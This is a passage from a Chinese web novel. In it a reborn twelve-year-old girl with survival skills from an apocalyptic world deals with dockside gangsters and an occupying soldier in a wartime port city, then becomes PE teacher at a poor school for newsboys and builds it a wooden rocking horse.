“姑奶奶”干脆利落,给他松了绑,向另外两人挑挑眉头。那人“呸呸”两下在手上吐口唾沫,“啪啪”先往自个儿脸上重重甩了两个耳光,赔笑道:“不用姑奶奶您受累,小的自个儿打自个儿。姑奶奶听响就好。” 见她没作声,王老六看向来时的两个同伴,挽起袖子冲他们狞笑一声,扑了上去。 小半个钟头后 春妮挥手放掉那三个垃圾,再往里走一段路,冲空无一人的里弄叫了声:“来了怎么不出来?躲这儿吓谁呢?” 夏风萍和朱先生从黑暗中走出来,讪讪的:“我没想吓你,本来,我们从那边抄近路过来是想帮你的。”谁知道你这么生猛,倒把我……和朱先生吓得够呛。 春妮走到他俩面前,“噗”地一笑:“你们俩还是顾好你们俩吧。”她望向朱先生,神色微紧:“夏小姐每天有我护送,我不担心。万一叫那两个瘪三看见朱先生跟我交好,怕是他们会找你的晦气。” 朱先生清清嗓子,还没表态,却见这小姑娘很有气势地一挥手:“不过,这一次估计把那三个窝囊废吓得够呛,谅他们不敢乱来。朱先生也不用太担心。” 两人见她神色如常,慢慢放松下来。夏风萍好奇心又起来了:“春妮,你刚刚那样,好有气势,以前没少干这种事吧?” 春妮能说她上辈子就是在恶人堆里打滚出来的吗?虽说基地三令五申不许内斗,还强令所有人必须救助同胞。可为了生存,只要不伤人命,底限之上的恶事,春妮没少见识过。 她要是没有两把刷子,怎么可能在那种环境平安长大?像这三个堵路抢劫的,收拾他们只是动动手指头的事。要不是顾虑一条街外的两国巡捕,她才不会这么容易放了这三个小瘪三。 不过,春妮显然是多虑了。这里闹出的动静这样大,别说住在旁边的街坊们,那些平常收摊位费收得最勤快的英国巡捕和拿警棍唬人唬得最溜的日本巡捕,也是一个人影都不见。 本来春妮觉得寻常,叫夏风萍一说,她都有点不好意思了:“人的名,树的影。这一带什么情况你们又不是不知道,我不一次把他们打疼的话,往后怕是安静不了。” 可这并没有令夏风萍放心:“打走了这三个,不知道还有没有别人。你不知道,那么大一桶凉粉,我提出去不到半个钟头就卖完了,咱们的生意有点招人哪。” 这的确是个问题。春妮合计片刻,说道:“那这样,从明天开始,我到学校来卖几天凉粉。” 18、018 “那你不卖馒头了吗?”夏风萍问她。 “停两天不要紧。我也不会一直帮你卖,我来卖凉粉是其一,最要紧的,是摸摸码头的底。看还有谁打我们的主意,一次都解决了。” 一次都解决了……好大的口气。 “顾小姐,你想干什么?”朱先生原本看她跟小妹妹似的,还没适应这种角色转换。 春妮咧开嘴,露出无害的笑容:“卖个凉粉,朱先生你紧张什么,我一个小姑娘家又能干什么?” 朱先生:“……”我觉得你一个小姑娘家能干很多事。 他求助地望向夏风萍。 夏风萍却是个看热闹不怕事大的:“你打算怎么做?”总算想起来嘱咐一句:“先说好,刀剑不长眼,你可别乱来。” 春妮抿嘴一笑:“不要小看我嘛。我打算怎么做不要紧,要紧的,是旁人打算怎么做。” ………… 海城开埠至今近百年,从外马路到吴江口的入海口,这短短的几十里水路中,星星点点散落着大小至少五六十个码头。这其中,江浦码头身跨苏河,吴江两大河流,背靠远东最大的纱厂群落,堪称是城中最大的码头之一。 这里人群川流,日夜不息。除了人数庞大的力夫和船舶业商会职员活跃在其中,更有海量的烟土贩子,码头霸,人贩霸,扒手霸,走私霸,私盐帮,安清门,一|贯|道等形形色|色的□□,骗子和邪教成员在此盘踞,寻找下手的对象。 在攻陷海城之前,倭国间谍机构勾结□□成员,以此处码头为中心,利用本国浪人走私,抢占地盘。及至海城会战之后,倭国在此派驻的军警跟本国的浪人同流合污,逐渐形成了一股难缠的新势力。 报童小学所在的仓库就位于江浦码头往前走约三百米处,据说因为码头边难童多,张鹤年先生好不容易说动他小舅子将这两间仓库腾让出来的。而张先生的小舅子有很深的帮派背景,一般情况下,讲规矩的□□成员非但不会到这里来惹事,反而若遇到不懂事,敢去讹诈小孩和老师的新人,还会帮着教训两下。 那三个小瘪三为什么一定等到夏风萍出了学校才动手,这就是原因之一。 但这也只限于学校范围内,出学校后,那就说不定了。 这里情况的复杂远超春妮的预计。她从末世中闯荡出来,比狠没几个人比得过她。但想在码头这既崇拜拳头,又最讲究规矩的地方有立足之地,不是那样容易。 在春妮的计划里,敢来找事的小混混,来一个她打一个,来两个打一双,到她打得人疼了怕了,打出她的名声,叫人知道这地方有人看着,也该安生了。 这的确是一部分事实。春妮在这坐镇不到三天,已经打下一点名声,寻常小瘪三为了不被她盯上练手,简直要绕她三里地走,更不用提主动来找麻烦。 但在这能立下道道的,上到商会主席,下到黄包车夫,哪个人背后不站着帮会的影子?谁又敢不守规矩? 除了春妮这个蒙头闯进来,什么事都不懂的愣头青。 因为夏风萍在学校门口摆摊,这块地方勉强算学校的地盘,可摆摊的利润并不分给学校啊。她卖了凉粉,势必有其他人的冰饮少卖些。说到底,都是利益之争,没本事的人不配占着码头这样的好地方赚钱。 春妮没有任何背景,却还想来抢食吃。这在某些人眼里,就是不知死活来踩盘子的。凉粉摊子那点利,只要是有点见识的都不会放在眼里。要紧的是,码头有码头的规矩,春妮硬戳进来,还打了他们的人,不找回来还在这混不混? 春妮了解清楚这些事的时候,她已经在学校卖凉粉卖了十多天。 任何人被连续找十多天麻烦,也该明白了不对劲。她的凉粉生意要不是有学校学生照顾着,早该撤摊子了。这会儿春妮硬顶着不撤,主要是怕她走之后,夏风萍会被她牵连倒霉。 她让李德三帮她把头一天打的那三个混混找过来,整件事从他们开始的,绝对跟他们脱不开关系。 王老六恭恭敬敬站在她面前将这些关窍都说一遍,赔笑喊冤:“姑奶奶,我们那天真的只是问您收保护费的,您误——” 春妮一个眼神扫过来,王老六忙不迭闭嘴,自觉呼了自己一个嘴巴。 这些混混嘴巴最滑,春妮懒得跟他们争口舌官司。那天什么情况,是个傻子都不会信他们只单纯收个保护费。要是他们不想歪主意,一开始摆明车马明说来意,她也不至于打到现在骑虎难下。何况后头这么些天过去,他们冷眼看热闹,仍是一个字不提,绝对心里藏了奸。 破个财就能解决的问题弄到这么复杂,说来说去,还是这些不老实的东西最可恶。 三个混混这会儿规规矩矩站成一排:“这一片摊贩都归我们红帮的袁八爷管,您跟他打声招呼,他老人家肯定会卖您这个面子。” 都到这会儿了,还想着挖坑害她…… 春妮捏捏手指骨,呲牙一笑。不怕挨打是吧?那就多挨几次。 三个混混心头一寒,求饶的话没来得及说出来,就嗷嗷哀嚎着被扔了出来。 ………… 按那三个杂碎的说法,袁八爷住在英租界某处小洋楼里,常年租着码头隔街一个叫德胜楼的茶楼包间,每隔两三天会来码头来看看,在德胜楼内处置些帮会事务。春妮就断定,这位袁八爷肯定不知道发生在这里的事,至少,他不会专门指使人对付春妮。住小洋楼有茶楼包间的大人物专门出手对付她一个小摊主……袁八爷不要脸面吗? 既然他们给她指了袁八爷的路,她就去见见又如何?该怎么见,见了面该说什么,那旁人就管不着了。 春妮托几个常年在附近卖报纸的小报童帮她盯住德胜楼,挑着袁八爷在的那一天闯了进去。 能在江浦码头闯下名号的人自然不会那么好见,春妮好声好气说话,那些人就是不放她上楼,不禁火气上头,捋起袖子骂了两句。 袁八爷这会儿正好没事,坐在窗边呷香茶。听见外头的吵闹,抬眼问了一句:“这是你那天说的,连挑帮里九个兄弟的小丫头?竟然撞门撞到我这儿了。” 他问的随意,听话的人拎着心:“这……我也是听人提过一嘴,没想到她这么莽,我这就叫人把她撵走。” “撵走干什么?正好没事,我听听她想来干什么。” “这,八爷,属下听人说,这小丫头狂得很,别您回头叫她气到。” 袁八爷笑了:“凭她?老乌,你是觉得八爷到混今天,连容个小丫头说话的涵养都没有?” 老乌汗都下来了:“八爷,我没那——” 袁八爷没听他说话,招招手,叫人把春妮叫了上来。 春妮上来时,只是觉得屋里气氛不太好。 她没让自己多想,认准袁八爷的方向,恭恭敬敬一个大礼弯腰揖下去:“袁八爷,对不住。我初来乍到,不知道码头的规矩,给您添了麻烦,来向您赔罪了。” 屋里两人都是一怔:刚才这丫头在楼底下的凶悍劲,两人都看见了,以为她是准备上门再打一场。怎么没个准备就跪了呢? 袁八爷笑道:“给我赔罪?你赔罪的礼物呢?两手空空,在我门前大吵大闹也叫赔罪?” 春妮不是没想过拿点礼物上门,可她没送过礼啊,谁知道送什么东西别人不忌讳。问旁人吧,她已经被坑过一次,可不想出了钱再被坑第二次。何况她拿什么赔罪,袁八爷才看得上眼? “我不知道袁八爷喜欢什么,想来八爷喜欢的我也送不起,不如就带着我的一颗诚心来。”春妮一摊手,索性光棍一把。又光明正大告了一状:“最该怪那几个来收保护费的家伙,话都说不明白,害我以为他们想对我干点什么,平白误会这么久。” 袁八爷是真笑了,问她:“你这些天在码头不是混得风生水起?多少人都要叫你一声小顾姐,小顾姐突然来跟我赔罪,不觉得面子下不去?” 袁八爷看人自认是有套方法的,这世上很多的人喜欢装狂。而这丫头别瞧她低眉顺眼的,却是骨子里透出的真狂,她也有本事狂。这样的狂人在这样得意的势头下认得了怂,有点意思。 春妮判断出袁八爷对她没恶意,也放松了些:“我娘说的,人不可能一辈子都按自己的性子活着。该认怂就认怂,认怂不丢人,丢人的是不该怂的时候怂了。我听我娘的话。”听懂了吗?袁八爷,我没想跟您打擂台,你就抬抬手放过我吧。 这是个狠人辈出的年代,她跟人比狠比得过吗?比赢了是吃得饱饭还是穿得暖衣? 袁八爷没说话,春妮忍痛掏出五块大洋并几个铜元搁在桌上:“这是凉粉摊子这些天的抽头,八爷您点点。” 原来不是真的死要钱啊?这更有意思了。 袁八爷伸出手指,把大洋推回去:“拿回去吧。”他摆下手,“道上的规矩,你凭本事立下来的名声,就是你的。八爷不至于贪你这点钱。咱们在码头上抽利,也是看在同在码头讨生活的份上看顾一分,你这么厉害,用得着谁保护?” 春妮懂了,反正他说什么是什么吧,问他:“那往后那些人,他们还会不会来找我麻烦?” 袁八爷朝旁边看过去。 旁边那个全程隐身的矮胖子脸色一紧,忙道:“绝对不会。” 春妮心里乐开了花,脸上还要忍着,再给袁八爷鞠个躬:“谢谢袁八爷,您大人大量,大吉大利,春妮祝您大展鸿图。”蹦哒着就要出门。 这时身后一声“等等”。 春妮极不情愿地转头,听袁八爷问:“你摆这小摊子能赚几个钱,以后到八爷这,八爷管你,怎么样?” 春妮:“……” 春妮指着自己的脸,说:“我今年才十二。”未成年呢。基地再缺人,也没开童婚的口子,这家伙瞧着人模狗样,没想到内心这么龌龊。 袁八爷这才发现自己说岔了意思,笑骂一句:“小丫头想得倒美。放心吧,没人打你主意。” 他意味深长道:“吃码头饭的孩子,没资格拿年纪说事。” 只要袁八爷不动她主意,春妮管他想说什么,有什么潜台词呢。 乱世是□□最好的沃土,但世道不可能永远乱下去,等到正本清源的那一天到来,□□的末日也就来了。就像末世里的基地,当人们需要联合起来对付更强大的敌人时,绝不会容许这些利用混乱牟取私利,趴在平民身上吸血的怪物存在下去。 她脑子又没泡,放着好好的日子不过,跟这些注定死路一条的□□混,嫌自己命太长? 19、019 好模好样地从德胜楼回来,春妮没有像先前设想的那样,把凉粉生意交还给夏风萍,放手让她操持。 码头的情况太复杂,袁八爷看在她的份上免除了保护费,可若是换个人来,谁知道会不会还买帐呢? 码头这边摊贩一个月至少上交三成利给红帮,更狠的还要交六成,日积月累,这也是笔不小的数目。 不必心存侥幸,认为别人不可能知道你每天赚多少。摆个摊子罢了,材料多少钱,每天来多少客人,客人们又吃了什么,只要留两个人蹲守两天,有什么估算不出来的? 春妮既然是诚心去低头,不会在这些小数目字上捣鬼,所以她在这十来天,有人不时袭扰的情况下,卖凉粉三成利还有五块大洋之多,比她卖馒头赚多了! 馒头生意春妮好不容易做下来,有了固定的客户,就此放弃也很可惜。昨天她在路上还碰见老客户,问她怎么不去卖馒头,大家都很想念她的馒头呢。 何况凉粉再赚钱,最多到九月末也不可能再做下去。到时候她再回去卖馒头,还有她的位置吗? 两难中,夏风萍给她出了个主意:“你请个人帮你先卖两个月,卖多少不要紧,要紧的是先占住位置。” 春妮豁然开朗,连请谁帮她看摊子都有了现成的人选。 她找到李德三,跟他约定,请他帮忙卖两个月的馒头,每卖一个馒头,给他一分钱的提成。 李德三很爽快答应了。这段时间他有空就在学校里学习,经常没时间去报摊取报纸来卖,好些天没有收入了。春妮只让他帮忙售卖,而且只卖女工上工的那段时间,不用他掏本钱,卖多少给多少工钱,再好不过。 问题一一解决,春妮终于可以腾出所有精力都到她的生意当中。 因为袁八爷的承诺,学校这一片果然没再有什么人来骚扰,就连起先那三个找春妮收保护费的小混混,她也没再看到过。 春妮试探着将凉粉摊子从学校门口挪到路口,也没人来阻止她。那些找麻烦的人一夜之间就消失了。 这可真是意外之喜。 春妮的摊子一直支在学校门口,也只能赚报童小学生的钱。这些小报童很多居无定所,吃了上顿没下顿,赚他们的钱会良心不安的。赚路人的钱就不一样了,光顾她的人群不但会多出很多,春妮也可以让夏风萍想出更多的花样,顺便把价钱定得更高一些。 不过现在春妮全面接手摊子,夏风萍除了帮她搓搓石花粉,准备调卤汁打下手,空闲了偶尔帮着看摊子,再买买材料,帮不了多少忙,她便不肯再分帐。她同春妮商量,每个月付她两块钱工钱,就当是给她兼职打工。 她现在跟春妮住一起,每天早晚跟她一起吃饭,由春妮来管饭,再加两块钱,一般人家的仆欧也不过这个价钱,实惠到春妮都有点不好意思了。 春妮硬把工钱给她加到四块,事情就这么定了下来。 春妮又跟方老师,现在是方校长,她跟方校长商量,付他些租金,借学校的杂物间用来放置制作凉粉的工具,这样她也不用每天提着桶子来回奔波。 结果方校长提了个她也想不到的要求。 “您说让我教那些学生打拳?” “是当体育□□。”方校长纠正春妮的说法。 春妮倒不觉得自己无法胜任,她在末世学到的都是相当经典的,在无数次生死搏杀中总结出来的拳术套路,要不是有末世这个共同敌人,和平年代人家都藏着不会让你轻易学到呢。她很好奇方校长的想法,问他道:“可我也是个小孩子,校长您怎么会想到请我当体育□□?” 方校长能说,他们学校的经费紧张,实在没钱再请一名老师教课吗? 顾春妮这小姑娘年纪小是小了些,那身身手实在漂亮。倘若春妮年龄大些,方老师还真不一定好意思来寻她。一文钱不出,上哪去拐个老师来? 小姑娘站在学校门口,气势一沉,面对来找茬的小混混,一对五都不落下风,只怕是正经的体育□□都比不过她。跟真本事比起来,年龄小些算什么弱点? 他的这些小学生小小年纪就要在街面上讨生活,受尽欺凌,要是能多学点本事,不说像春妮一样打遍码头无敌手,至少再遇到有人欺负时,也有了自保之力不是? 他使劲给她灌迷魂汤:“我们学校当□□又没规定要多少岁以上,你只需每周抽出两节课时间,带他们打打拳,强身健体就可以。” 春妮犹豫中,她习惯性地怀疑一切,觉得世上没这么便宜的事。 方校长思虑细致,“你要是怕上课没人看摊子,凉粉我可以派人帮你卖,钱还是你的。” 这等于是学校想办法帮她解决员工问题啊!这么优厚的条件,还有什么理由好拒绝的? 春妮立刻拍板:“没问题,什么时候我来上课?” 方校长喜笑颜开:“你要是有时间,随时都可以。”一间杂物房就拐来个老师,太赚了! ………… 学校正式的名字叫江浦报童小学,叫的是报童小学,实际招收的学生包括附近地区所有因为贫困无法上学的儿童,尤其是从其他地区逃难过来的难民儿童。夏生要不是因为他的难童身份,还不一定能在这所小学入读呢。 但也因为免费招生,不到一个月时间,学校就招收了三百多个学生,将两个仓库塞得满满登登的,连教师办公室都只能暂时放在方校长的宿舍里,这样都还不断有人来求学。而办公室的桌子白天是桌子,晚上把桌上的东西一扫,就成了守校老师的床。 这些学生中,小的还没有扫帚高,大的都有十五六岁了。 也是最先开始老师们招生时没有经验,只要是有孩子过来,看着年龄不是太小的,都会收下来,结果春妮这个体育老师就难办了。送回去也不太好,这些孩子都是有特殊原因,父母无法看顾,放在学校里有老师和同学盯着,反而更安全。 也就是说,学校还带点托儿所性质。 不是春妮镇不住场子,开玩笑,春妮的名声都传到码头去了,拿捏这群小学生不是玩似的? 主要大点的学生懂事好教,小学生们反应慢一些,听指令要一遍一遍教倒算了,关键他们跟不上就会哭啊! 春妮想起她妈刚死那阵子,夏生白天哭,晚上哭,天天哭,想妈了哭,受人欺负了哭……这群可怕的小学生让她回忆起那段噩梦般的日子,简直一个头两个大。 但是,跟乱糟糟的课堂表现比起来,哭又不不是个事了。春妮本想让学生们按年龄大小分次序上课,但现在学校按招生顺序已经分成了四个班,每个班大小学生对半,他们互相搭班上课,她再重新排班也不可能。 最后,春妮将学生们分成上午下午两批,两个班合在一起上课,每个班一周两次的体育课。每次上课再按身高分组,高过一米二的大学生跟她学打拳,不足一米二的小不点,随便他们做点什么游戏。跑跑跳跳的,运动量达到了就好。 她设想得很好,这样她一周最多只用上四节课。用最少的时间完成任务,简直不要太美。 结果那些小学生们听见说老师让自己去玩,一解散立刻撒了欢似的满地乱跑,有的孩子玩得野,一跑就跑得不见人影了。学校现在就用几个不足一米五的木栅子围起来,三岁小孩都爬得过去。码头这么乱,这样下去说不好会出事。春妮只好找到方校长,跟他商量,让他采购一些体育玩具,把学生拘束在操场上。 方校长为难地道:“可现在学校经费很紧张,小顾老师,你有什么办法吗?” 春妮斜眼看他:“……”她就知道有坑。这学校要什么没什么,比他们基地还穷还抠,那怎么玩下去? 春妮提醒他:“校长,我才十二岁。”叫一声“小顾老师”,她也才十二岁,怎么总有人忘记她的年纪呢? 方校长不好意思地笑:“你说的我记住了,给我几天时间,我再想想别的办法。” 方校长这人细致归细致,做事情却嫌有点磨唧。春妮都上了四节体育课,他的办法还没拿回来。 其实春妮是不知道,这个年头的公共基础教育才起步。别说体育课,就连语文数学这些基础课程,每个学校每个地区都有可能拿的不一样的教材。方校长小时候上的私塾,那时候哪来的体育课? 他能想到请春妮给学生上体育课,靠打拳强身健体,已经是大胆创新了。 最后春妮再次找到方校长,建议说:“校长,你要是实在拿不出办法,不如试试我的办法吧。” 方校长还是很虚心的:“哦?说说看。” 春妮望向码头:“咱们边走边说吧。” 20、020 春妮在路上告诉方校长,说她看上了码头边那些装货物的木头箱子,想给学生做点器材出来,让方老师想办法把它们弄到手。 方校长为难地说:“小顾老师,那些木头箱子都是有主的,这怎么弄到手?” “有没主的,坏掉的也行,我不挑。” “可……”方校长想说,那些没主的,坏掉的木头箱子也可以劈来当柴禾烧,大一点的收拾收拾都能当房子住,不可能像垃圾一样丢掉。现在的海城,连垃圾粪便都有专人划地盘处置,何况木头箱子这样的好宝贝。 春妮看不得方校长吞吞吐吐的叫人着急,驻步道:“校长要是为难的话,那我们就回去吧。”方校长脸上一喜,结果小丫头说:“反正那么些学生我一个人看不住,万一出事我也负不起责。索性都关进教室,不上体育课不是更省事吗?” 方校长:“……谁说要回去的?去码头是吧?走啊。” 别看春妮当着方校长的面胸有成竹,其实如果不是心里没底,她才懒得跟方校长磨唧。江浦码头跟学校直线距离不超过三百米,春妮每天从家到学校往返四趟,却没有一次真正走到过码头,站在码头上看过江景。 因为作为城中最大的货运码头,江浦码头早在战前便落到倭人手中,甚至海城会战时,有一队倭国士兵便是出人意料在这里登陆上岸,打了政府军一个措手不及。 海城沦陷后,倭国加强了对江浦码头的管控。城内江浦,城外吴江口,都是倭国派驻重兵把守的港口码头。 如果说纱厂那一带的倭国巡警只是提着棍子驱逐小贩们,放在江浦的话,只要发现丁点不对,那些穿着呢绒外套,三八大盖时刻上膛的宪兵们可是会直接抓人,甚至是杀人的。 据说海城刚沦陷那阵子,这附近的管控更严,华国人根本无法靠近这里。倭人很快发现,在他们的恐怖统治下,没有人再敢来干活,经济活动趋向于无限停滞,引得那些倭人的资本家们纷纷抗议,这才调整策略,慢慢放松了管制。 但从那之后,除非需要在码头讨生活,普通华国人也会很自觉地避开这里。 如果不是方校长迟迟想不出办法,春妮也不想到这里来找机会。她观察了好几天,确定那些倭人真的不像传说中那样,看谁不顺眼举枪就杀人,或是看见是个女人经过,就不管不顾地一逞□□,才敢来找方校长打这个头阵。 方校长不知道,看似乱来的小顾老师其实思虑挺周详,他被春妮拿话逼着,不得不一步一步慢腾腾挪到码头边缘,向堆放木头箱子的方向靠近。春妮学着他的姿势,脊背微躬,两只手交叠,落后他一步,跟他一道尽量若无其事地走过去。 两个人都不想引人注意,但方校长穿着一袭旧式文人穿的灰色长衫,一身的书卷气,这样的人出现在江浦码头,怎么可能没人会注意呢? “站住,什么人?干什么?”几个倭国宪兵拦住了方校长。 方校长忙笑着说:“敝人是附近小学的校长,我不干什么。这次是想来码头上找点废旧的木头箱子,给学生们做些体育用具。” “体育用具?”为首的宪兵挥挥手,身后两名宪兵一左一右上前来,将方校长包夹住,四只手齐上,将他身前身后都摸过一遍,对为首的宪兵点点头。 随后,他们的目光对准了春妮。 方校长急忙拉春妮,想让她站到他后边,赔笑道:“谢谢太君,小顾老师,咱们快走吧。” “等等,”为首的宪兵站在甲板上,语气生硬:“我说可以走了吗?” 无聊一个上午,似乎要有有趣的事情出现。虽然军部三令五申,不许他们主动招惹华国人,可若是有不老实的华国人一定要做出对帝国有害的事…… 他略带兴奋地解开佩刀,用刀柄抬起春妮的下巴,随即便是一愣。 这个身材瘦小,脸色蜡黄干枯,头发也很稀疏的女孩子脸上没有他熟悉的畏惧和忿恨,她柔顺地张开双臂,脸上是华国人千篇一律的麻木和茫然。她对即将发生的事情既不期待,也不害怕,她脸上的每一个毛孔都写着令人厌烦的空洞和予取予求。 他挑剔地皱起眉头:不会挣扎的猎物真的一点趣味都没有。如果不是在江浦码头,他就可以…… 他随意用军刀在她身上拍打两下,抬起手臂作了个放行的动作。 方老师如蒙大赦,急忙拉住春妮,小声训斥:“你可别乱跑,跟在我后边,别乱跑。” 春妮知道他紧张,一言不发,先退后两步。 方校长大概是紧张过头,走远一段距离后,怎么也忍不住要再说两句:“刚刚我就不该答应你过来,你说你要找什么东西,跟我说清楚,我来就是了。你个小姑娘家……” 春妮也没想到,码头里先前不是没有华国小姑娘出没,别人都平安过关,偏偏轮到她这么倒霉,没来由让这个宪兵拦下来,幸好有惊无险,不然……她捏了捏手指头,指节咔咔作响。 方校长心惊肉跳:“小顾老师,你想干什么?” 春妮抬抬下巴,提醒他:“到地方了。” “哦哦。” 方校长茫然地往前走两步,让春妮一把拽住:“错了,校长,那边木头箱子都是完好无损的。” “哦哦。”方校长木然转身,因为眼睛一直盯着春妮,他脚下绊蒜,差点摔下甲板。 春妮无奈:“校长,你要不要先缓缓再办咱们的事?” 方校长:“哦哦。不是,小顾老师,我知道你今天受了委屈,但你千万不能随着性子乱来。那些倭国人不是码头上的小瘪三,手上有枪,都凶残得狠,你可要想清楚……” 春妮只好说:“……校长,你当我是什么人?我知道什么该做,什么不该做。你放一百个心到肚子里,我还有弟弟要养呢。” 对哦,她还有个弟弟!有弟弟就不怕她乱来了!方校长长出一口气,一颗心总算回到了肚子里。 而这个时候,春妮已经跟别人打起招呼:“这位大哥,你们这些木头箱子还要不要?” 21、021 升斗小民想在乱世里保全性命,识时务第一要紧。所谓识时务,换句话说,就是会认怂。 跟□□认怂,跟宗族恶势力认怂,跟地主老财认怂,跟资本家认怂,跟侵略者认怂……跟每一个趴在普通老百姓身上吸血,还要踩在他们脑袋上作威作福的恶棍们认怂。 同方校长相比,说不定春妮才是最不会冲动的那个。从家乡出来的这一路,她听过无数个由倭国人带来的人间惨剧,都没有这一刻刀斧加身,任人鱼肉来的记忆深刻。 上辈子,春妮的导师说过,弱者的怒火是无能的表现。 就像春妮跟夏生耳提面命的那样,没能力掀桌子的时候,必须学会隐藏自己。 其实她生气了又能怎样?没错,匹夫一怒,她可以血溅五步。爽是爽了,爽过之后怎么办?亡命天涯?春妮是无所谓的,可她身后还有她上下两辈子仅剩的唯一一个亲人,她必须为他着想。 而且据说倭国已经持续向华国投入近百万兵力,靠她一个人,杀得完这一百万吗? 春妮可以忍,但这种必须隐忍,不知道什么时候是个头的局面让她不免烦燥。 特别是面前这个站在两人面前,拦着不让他们过去的小瘪三简直长了张欠揍的脸,她竖起眼睛:“东西要不要给句准话,不要的话,赶紧给姑奶奶把路让开!” 方校长大急,生怕春妮口无遮拦闯了祸。却见这小瘪三竟后退一步,哭丧着脸道:“小顾姐别生气,这些货都是有人定下的,无缘无故少了货,我不好跟人交代。”他忽然换了个笑脸:“别人来要,我保准不给,但小顾姐您想要的话,要多少有多少。赖四,你来,给小顾姐上……请小顾姐来看货。” 方校长:“……” 人的名,树的影。 有时候事情就是这样神奇,春妮跟人打那半个月的擂台忽然就有了回报。 抱着这一堆木板回程时,方校长还缓不过神:“咱们的事就算解决了?” “咱们学校有三百多个学生呢,这算什么解决。”春妮让方校长注意看好路:“一共这几块木头,做不了几块器材。人家那是看咱们两个人,要不了多少材料,才肯不收钱,咱们再去就讨不到便宜了。” 方校长笑起来:“这就不错了,校长我从来没指望过从这群流氓手上能占到便宜,这是托了小顾老师的福啊。”又说:“小顾老师你明天也别去码头了,明天我找韩老师一起,再想办法凑凑钱,问那李二把头多买几块板子。” 春妮看方校长这副捡了大便宜的模样,噗地笑了出来:“您明天请我去我也不去了,这么多木头,够我忙活一阵子了。” 方校长不好意思:“咱们学校太穷了,小顾老师,多亏有你,帮学校大忙啦。” 惊吓一场,再辛苦一场,有两句好听话也不错。春妮跟方校长互相捧场:“我是体育老师嘛,这也是我分内的事,校长不用这么客气。” 一大一小两个同事聊得和谐,不知道在他们刚刚离去的码头边,有人因为他们挨了揍。 挨揍的人还不知道自己为什么挨揍,捂着腮帮子叫屈:“把头你干嘛打我?” 李二把头刚刚在个小丫头面前认怂,心里原来就窝着火,送上门的沙包不用白不用,又踹了他几脚,大骂道:“册那小丫头也是你叫的?你知道她是谁,敢撺掇老子弄她?说,你是不是早看上老子的位置,想利用那丫头把老子弄下来?” 能在袁八爷手上全须全尾走出来的人物,他敢得罪吗?他敢说个“不”字吗? 就是没有袁八爷,他拜把子兄弟去约小姑奶奶的架七八天了,到今天都躺在床上还下不来!这样的凶人,是他能惹的? 他奶奶的,小姑奶奶该不会以后都盯上他了吧? ………… 方校长跟春妮手上抬的木头片子引来几个没课的闲人围观。 有人看稀奇:“小顾老师,你做什么呢?” 春妮可不客气,使唤这些看热闹的都给她干活:“你们帮我把这些木板拆下来,我给你们做点好玩的。” 从码头要来的破木头箱子被简单拆分成六块板子抬回来,春妮要他们做的,就是将每块板子上的木条,木板,洋铁皮和洋钉拆下来分门别类放好。 人多力量大,同事们找来老虎钳,撬棍等工具赶在放学前完成了这个任务,又合力将木板抬回教室锁好。 方校长问春妮:“做这些东西要木工工具吧?学校里只有锤子和扳手,要不要我给你想办法借一套?” 春妮可是知道方校长拖延症的可怕,她不抱希望地问:“那工具您什么时候能拿到手?” “一两天?两三……”方校长苦恼:他一介书生打哪去认识木匠? “行了行了,”春妮挥挥手转身离开:“您别操心了,我来想办法吧。” “你有什么办——”方校长不放心地追出去:“小顾老师,你可别乱来啊。” 春妮:“……”她看上去很喜欢惹事吗? 其实如果不是怕吓到人,春妮当场就能“找到”木工工具。 她是空间异能者,前世出任务的机会非常多,有时候她需要根据环境随手改装一些小工具。而她的空间又很大,养成了她什么东西都会收集一点的习惯,空间里备着几套木工工具太正常了。 这几套工具幸运地躲过了她空间坍塌的浩劫,否则学生们的体育器材还不知道要拖到什么时候。 第二天春妮抱着工具去学校,同事们都觉得这个小同事很神奇:“小顾老师,这套工具你是在哪借到的?哎哟,刃口还挺锋利。这不是铁刃,是钢刃吧?” “大锯,小锯,钻头,墨斗,刨刀都有好几种,上回到我家干活的木匠工具都没有这么齐全哪。” 春妮心说:我不光有这个,我还有电焊枪,电钻,电锯,射|钉枪呢。这不是更不好拿出来吗?拿出来分分钟吓死你们。 所以说,她不爱依靠空间,有一个很重要的原因就在这里。她随便拿出一样东西,在这个年代都是非常扎眼的。上百年的科技差距在这个年代人的眼里,就像蛐蛐和蝈蝈一样,在不懂行的人眼里都是虫子,懂行的人却一眼看得出来。 春妮只能庆幸,她的这些同事们都没干过木工。 “在逃难路上捡的。你们忘了?我家乡发了大水,我逃难过来,感觉这应该是好东西,就收起来带到了海城。”春妮祭出“来历不明”大法,总算哄退了同事们一波波好奇的问题。 “那你会不会用?要不要我叫韩老师过来帮忙?”韩老师是他们学校除了方校长之外唯一的男老师。 而春妮用一个漂亮的锯手姿势回答了她,并叫住“正好经过”的方校长:“校长,去买点猪皮总行吧。” “买猪皮干什么?” “熬胶黏合啊,”春妮取笑道:“您木头不给钱,木工不给钱,胶水钱您总该出了吧。” “木工用的胶水原来是用猪皮熬出来的?”方校长的求知欲压倒了抠门的本性:“小顾老师,你懂得的可真不少,那你要多少?” 她懂得的当然不少,还都是最宝贵的生存技能,就是不知道会在什么时候有用处。末世那会儿很多工业胶水要么失传,要么没有条件做出来,他们想使用胶水,只能回归到古代生物熬胶时期,而几种制胶方法他们的手工课上都有提到过,她还上手熬过两种。 “先来半斤吧,对了,再来半两砒|霜,一两樟树皮。” “要这些又是做什么用的?”这些老师们的问题可真多。 不过春妮姐弟两个一直被他们无私照顾,每个帮她看摊子的老师也没有提出额外的要求。她承老师们的情,回答的也很细致:“加在胶水里边防虫蛀霉变。对了,你们一定跟学生们交代好,可千万别看胶水是猪皮熬的就拿来吃,有毒的。” 到方校长的猪皮买回来,春妮锯锯刨刨,已经可以看出她为学校做的第一件体育器械的雏形。 围观的老师和学生们都很兴奋,不用春妮使唤,主动帮她提来小煤球炉子,还把猪皮切成小粒,引燃炉火小火熬制,连看火的人都不用春妮费心去寻。 到下午放学之前,胶水终于熬制完毕并晾干,春妮隔水蒸化了一点,将拼凑好的器械用胶水弥合完毕,宣布:“晾一晚上,等干了之后,明天早上就能用了!” 这会儿大家都看出来了,他们的体育小老师给他们做的是一个小木马。木马并不高大,只是用几块板子简单地拼凑起来,底座是双圆弧,用手碰一碰就会晃悠悠地自己动起来。这种可以简单操控的自动玩具在后世都经久不衰,何况是现在这个年代?何况是这一群生活困苦,挣扎在生存线上,可能从出生就没有走出过五公里外世界的孩子们? “太好啦!”学生们纷纷跳起来欢呼。 